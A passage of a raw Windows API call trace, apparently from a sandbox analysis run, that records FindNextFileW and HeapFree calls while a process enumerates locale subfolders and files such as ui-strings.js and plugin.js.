	[0172.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.682] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0172.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.682] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0172.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.682] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0172.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.683] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0172.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.684] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0172.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.685] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0172.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.685] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0172.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.686] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0172.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.689] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0172.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.690] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0172.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.691] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0172.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.691] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0172.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.692] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0172.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.693] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0172.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.694] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0172.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.695] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0172.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.695] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0172.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.696] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0172.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.697] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0172.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.698] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0172.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.699] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0172.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.699] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0172.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.994] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0172.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.994] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0172.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.994] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0172.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.995] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0172.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.995] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0172.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.995] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0172.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.995] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0172.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.996] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.996] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0172.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.996] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0172.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.996] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0172.996] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0172.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0172.996] FindNextFileW (in: hFindFile=0x394bbb8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x52dfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0172.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.997] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0172.997] FindClose (in: hFindFile=0x394b8f8 | out: hFindFile=0x394b8f8) returned 1
	[0172.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0173.014] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pages-app", cAlternateFileName="PAGES-~1")) returned 1
	[0173.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.015] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.018] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.018] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0173.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
